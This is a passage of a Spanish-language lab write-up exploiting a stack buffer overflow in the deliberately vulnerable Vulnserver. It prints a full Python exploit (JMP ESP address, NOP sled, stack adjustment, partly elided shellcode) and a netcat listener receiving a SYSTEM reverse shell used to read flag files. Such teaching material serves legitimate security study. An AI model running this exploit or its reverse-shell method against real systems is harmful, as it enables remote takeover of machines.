/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp ESP
00000000 FFE4 jmp esp
El OpCode se representa así: \xFF\xE4
.
Vamos a buscar este OpCode en Immunity Debugger con la ayuda del módulo mona.py.
Para hacer esto, necesitamos el archivo DLL que también descargamos, pues ahí buscaremos el OpCode.
Usa el siguiente comando:
!mona find -s "\xFF\xE4" -m essfunc.dll
Observa que nos salieron varias direcciones.
Vamos a utilizar cualquiera de esas direcciones, yo utilizare la penúltima, así que cópiala y pégala en el Exploit, en la variable EIP que declaramos:
from struct import pack
import socket
# Variables globales
ip_addr = "IP_maquina_windows"
port = 9999
offset = 2003
before_eip = b"A"*offset
eip = pack("<L", 0x62501203)
Esa dirección que copiamos, está en formato little endian, ósea que está al revés porque se copió de un sistema de 32 bits (x86), por eso la pusimos dentro de la función pack e importamos esa librería.
Si entendí bien, esto es lo que realiza el script 5 del repositorio que descargamos.
Con esto listo, vamos a revisar como es el flujo del programa.
Lo haremos por pasos:
- Paso 1: Vamos a seguir la dirección que ocupamos en el Exploit, para esto, dale click en el botón Enter Expression y luego mete la dirección que escogiste. Cuando le des enter, verifica que sea la misma dirección que escogiste:
Observa como la dirección del OpCode es un JMP ESP.
- Paso 2: Selecciona esa dirección, da click derecho, busca la opción breakpoint y elige la opción Toggle.
- Paso 3: Ejecuta el Exploit y observa si el EIP y la OpCode que elegiste tienen la misma dirección:
Son las mismas, vamos muy bien.
- Paso 4: Ahora queremos ver el siguiente flujo, con tal de comprobar si la dirección del EIP es la misma que la del ESP y la del OpCode, esto lo haremos solamente eligiendo el botón step into y si las direcciones son las mismas, podremos ver nuestro Shellcode aplicando un Follow in Dump al ESP como hemos hecho antes:
Ya casi terminamos.
Décimo Paso: Aplicando NOPs y Desplazamiento de Pila en Exploit
Recordemos que son los NOPs:
No Operation (NOPs) |
---|
Los NOPs (del inglés No Operation, “sin operación”) son instrucciones en lenguaje máquina o ensamblador que no realizan ninguna acción útil, excepto avanzar al siguiente ciclo de la CPU. Permiten que el procesador tenga tiempo adicional para interpretar el shellcode antes de continuar con la siguiente instrucción del programa. |
Es muy simple, únicamente debemos agregar la siguiente instrucción que es para arquitectura x86:
b"\x90"
El NOP, se puede multiplicar por 16 o por 32, pero en nuestro caso, al no tener tantas instrucciones, podemos multiplicarlo por 16.
Esto lo podemos agregar al Exploit en la variable after_eip junto al Shellcode:
after_eip = b"\x90"*16 + shellcode # ESP = Combinación de NOPs con shellcode
Lo que sigue es aplicar el desplazamiento de pila, pero entendamos de que se trata este paso:
Desplazamiento de Pila (stack offset) |
---|
*Un desplazamiento de pila (stack offset) se refiere al cambio de posición de un dato dentro de la pila de ejecución de un programa, ya sea por instrucciones del código, llamadas a funciones o por una manipulación no intencionada (como en un buffer overflow). La pila funciona con una estructura LIFO (Last In, First Out) y se maneja a través de registros como: ESP (Stack Pointer) que apunta a la cima de la pila y EBP (Base Pointer) que apunta a la base del frame de la función actual. * |
Ahora, para aplicar el desplazamiento de pila, debemos usar la herramienta nasm_shell de Metasploit, que ya usamos para obtener el OpCode (JMP ESP), actívalo y escribe lo siguiente: sub esp,0x10
:
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > sub esp,0x10
00000000 83EC10 sub esp,byte +0x10
nasm > exit
Lo que estamos haciendo, es decrementar el valor del puntero de pila de 16 bytes.
Agrega esa dirección al Exploit y ejecútalo:
payload = b"TRUN /.:/" + before_eip + eip + b"\x83\xEC\x10" + after_eip
Sigamos.
Undécimo Paso: Prueba y Ejecución de Exploit
En este punto, el Exploit debería quedarte así:
#!/usr/bin/python3
from struct import pack
import socket
# Variables globales
ip_addr = "IP_maquina_windows"
port = 9999
offset = 2003
before_eip = b"A"*offset
eip = pack("<L", 0x62501203)
shellcode = (b"\xdb\xcd\xd9\x74\x24\xf4\xba\x7a\xe1\xd9\x25\x5e\x31\xc9"
b"\xb1\x52\x31\x56\x17\x83\xc6\x04\x03\x2c\xf2\x3b\xd0\x2c"
b"\x1c\x39\x1b\xcc\xdd\x5e\x95\x29\xec\x5e\xc1\x3a\x5f\x6f"
...
...
...
...
after_eip = b"\x90"*16 + shellcode
payload = b"TRUN /.:/" + before_eip + eip + b"\x83\xEC\x10" + after_eip
def exploit():
# Creando conexión y enviando shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_addr, port))
# Recibiendo banner
banner = s.recv(1024)
print(f"\n[+] Recibiendo Banner: \n------\n{banner.decode('utf-8', errors='ignore')}\n------\n")
# Enviando payload
s.send(payload)
# Cerrando conexión
s.close()
if __name__ == '__main__':
exploit()
En este caso, puedes probar con tu máquina virtual Windows o ya con la máquina víctima que esta ejecutando el binario.
Yo lo probaré con mi máquina virtual Windows.
Abre una netcat en conjunto con la herramienta rlwrap:
rlwrap nc -nlvp 443
listening on [any] 443 ...
Ejecuta el Exploit:
python3 exploitVulnserver.py
[+] Recibiendo Banner:
------
Welcome to Vulnerable Server! Enter HELP for help.
------
Observa la netcat:
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Mi_IP] from (UNKNOWN) [IP_maquina_virtual_Windows] 49255
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\berserkw\Desktop\Vulnserver>whoami
whoami
berserkw-pc\berserkw
Genial, funciono correctamente.
Podemos decir que hemos hecho una prueba exitosa de Buffer Overflow.
Ya solo ejecutemos el Exploit contra la máquina víctima y observa a donde nos manda:
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.100] 49158
Microsoft Windows [Versi�n 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. Reservados todos los derechos.
.
C:\Users\Administrador\Desktop>whoami
whoami
nt authority\system
Resulta que el Administrador era quien estaba ejecutando el binario.
Ya solo tenemos que buscar las flags.
Veamos primero la del Administrador:
C:\Users\Administrador\Desktop>dir
dir
El volumen de la unidad C no tiene etiqueta.
El n�mero de serie del volumen es: 640F-86BF
Directorio de C:\Users\Administrador\Desktop
21/07/2024 18:46 <DIR> .
21/07/2024 18:46 <DIR> ..
21/07/2024 18:00 1.646 essfunc.c
21/07/2024 18:00 16.601 essfunc.dll
21/07/2024 18:46 36 root.txt
21/07/2024 18:00 9.033 vulnserver.c
21/07/2024 17:59 29.624 vulnserver.exe
5 archivos 56.940 bytes
2 dirs 16.631.238.656 bytes libres
C:\Users\Administrador\Desktop>type root.txt
type root.txt
...
Y por último, busquemos la del usuario:
C:\Users>dir
dir
El volumen de la unidad C no tiene etiqueta.
El n�mero de serie del volumen es: 640F-86BF
Directorio de C:\Users
21/07/2024 18:29 <DIR> .
21/07/2024 18:29 <DIR> ..
21/07/2024 17:38 <DIR> Administrador
21/07/2024 18:29 <DIR> Pila
19/01/2008 10:40 <DIR> Public
0 archivos 0 bytes
5 dirs 16.631.238.656 bytes libres
C:\Users>cd Pila/Desktop
cd Pila/Desktop
C:\Users\Pila\Desktop>dir
dir
El volumen de la unidad C no tiene etiqueta.
El n�mero de serie del volumen es: 640F-86BF
Directorio de C:\Users\Pila\Desktop
21/07/2024 18:47 <DIR> .
21/07/2024 18:47 <DIR> ..
21/07/2024 18:46 36 user.txt
1 archivos 36 bytes
2 dirs 16.631.238.656 bytes libres
C:\Users\Pila\Desktop>type user.txt
type user.txt
...
Con esto, hemos completado la máquina.
Links de Investigación
- https://github.com/shamsher404/Buffer-Overflow-tools
- https://github.com/stephenbradshaw/vulnserver?tab=readme-ov-file
- https://www.infosecinstitute.com/resources/hacking/intro-to-fuzzing/
- https://www.infosecinstitute.com/resources/penetration-testing/fuzzing-introduction-definition-types-and-tools-for-cybersecurity-pros/
- https://askubuntu.com/questions/1483732/cant-install-wine32-on-ubuntu-23-04
- https://windows-7-home-premium.uptodown.com/windows
- https://github.com/kbandla/ImmunityDebugger
- https://github.com/corelan/mona